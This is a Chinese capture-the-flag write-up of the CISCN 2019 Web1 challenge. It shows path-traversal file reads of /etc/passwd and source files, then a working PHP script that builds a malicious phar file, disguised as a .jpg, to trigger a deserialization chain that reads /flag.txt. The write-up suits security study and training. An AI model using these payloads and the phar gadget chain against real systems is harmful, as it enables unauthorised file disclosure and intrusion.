[CISCN 2019华北Day1]Web1

文章目录

- 涉及知识点
- 解题过程

涉及知识点

phar反序列化
文件读取

解题过程

打开题目，注册用户为admin
进去发现有文件上传的功能，我们随便上传个图片
然后就有下载和删除两个功能
在这里插入图片描述
我们尝试抓包下载文件的功能
发现参数可控，我们尝试读取一下

filename=/etc/passwd

在这里插入图片描述既然能读出来，我们继续读一下源码

filename=../../index.php

源码

<?php
session_start();
if (!isset($_SESSION['login'])) {header("Location: login.php");die();
}
?><!DOCTYPE html>
<html><meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title><head><link href="static/css/bootstrap.min.css" rel="stylesheet"><link href="static/css/panel.css" rel="stylesheet"><script src="static/js/jquery.min.js"></script><script src="static/js/bootstrap.bundle.min.js"></script><script src="static/js/toast.js"></script><script src="static/js/panel.js"></script>
</head><body><nav aria-label="breadcrumb"><ol class="breadcrumb"><li class="breadcrumb-item active">管理面板</li><li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li><li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li></ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div><?php
include "class.php";$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

继续读取class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);class User {public $db;public function __construct() {global $db;$this->db = $db;}public function user_exist($username) {$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->store_result();$count = $stmt->num_rows;if ($count === 0) {return false;}return true;}public function add_user($username, $password) {if ($this->user_exist($username)) {return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");$stmt->bind_param("ss", $username, $password);$stmt->execute();return true;}public function verify_user($username, $password) {if (!$this->user_exist($username)) {return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->bind_result($expect);$stmt->fetch();if (isset($expect) && $expect === $password) {return true;}return false;}public function __destruct() {$this->db->close();}
}class FileList {private $files;private $results;private $funcs;public function __construct($path) {$this->files = array();$this->results = array();$this->funcs = array();$filenames = scandir($path);$key = array_search(".", $filenames);unset($filenames[$key]);$key = array_search("..", $filenames);unset($filenames[$key]);foreach ($filenames as $filename) {$file = new File();$file->open($path . $filename);array_push($this->files, $file);$this->results[$file->name()] = array();}}public function __call($func, $args) {array_push($this->funcs, $func);foreach ($this->files as $file) {$this->results[$file->name()][$func] = $file->$func();}}public function __destruct() {$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';$table .= '<thead><tr>';foreach ($this->funcs as $func) {$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';}$table .= '<th scope="col" class="text-center">Opt</th>';$table .= '</thead><tbody>';foreach ($this->results as $filename => $result) {$table .= '<tr>';foreach ($result as $func => $value) {$table .= '<td class="text-center">' . htmlentities($value) . '</td>';}$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';$table .= '</tr>';}echo $table;}
}class File {public $filename;public function open($filename) {$this->filename = $filename;if (file_exists($filename) && !is_dir($filename)) {return true;} else {return false;}}public function name() {return basename($this->filename);}public function size() {$size = filesize($this->filename);$units = array(' B', ' KB', ' MB', ' GB', ' TB');for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;return round($size, 2).$units[$i];}public function detele() {unlink($this->filename);}public function close() {return file_get_contents($this->filename);}
}
?>

分析一下class.php
我们先找到出口File.close()的file_get_contents。如果要调用close()方法，往前推可以找到User.__destruct()，但是这个是调用$db并不是调用File的。

所以我们转换思路，我们可以利用FileList.__call()魔术方法当跳板调用
仔细分析下

public function __call($func, $args) {array_push($this->funcs, $func);foreach ($this->files as $file) {$this->results[$file->name()][$func] = $file->$func();}}

首先接受两个参数，$func 表示调用的方法名，$args 是一个数组，包含传递给方法的参数。
如果调用close()的话,就是先将方法名存储$this->funcs数组里然后依次调用$this->files数组里的元素的close()方法。
然后存储在$this->results[$file->name()][$func]如果是File类的close()，就是获取文件的内容，所以$this->files数组里的元素必须为File类的对象

再看看

public function __destruct() {$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';$table .= '<thead><tr>';foreach ($this->funcs as $func) {$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';}$table .= '<th scope="col" class="text-center">Opt</th>';$table .= '</thead><tbody>';foreach ($this->results as $filename => $result) {$table .= '<tr>';foreach ($result as $func => $value) { //遍历数组 $func为键  $value为对应的值$table .= '<td class="text-center">' . htmlentities($value) . '</td>';}$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';$table .= '</tr>';}echo $table;
}

这里先输出$this->funcs里的元素的值
然后输出$this->results数组里的数组元素的键值对
而在__call()函数里我们存储的文件的内容就在$result as $func => $value的$value里
所以只要构造$this->files的值，就可以在最后面输出其文件的内容，这样就可以获得flag
exp

<?php
class User {public $db;}class FileList {private $files;private $results;private $funcs;public function __construct() {$this->files=array();$a=new File('/flag.txt');array_push($this->files,$a);}}class File {public $filename;public function __construct($filename) {$this->filename = $filename;  }
}$a=new User();
$b=new FileList();
$a->db=$b;
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

解释：
$this->db为FileList类的对象，然后触发其中的__call()方法
然后$this->db的$this->files数组成员的元素设置为File类的对象，
调用File类的close()方法，并存储在$this->db的$this->results数组中
最后在FileList类的析构函数输出其值

生成phar文件后修改后缀为jpg（因为会被检测文件后缀）
这里有个关键点，就是要在delete.php抓包修改参数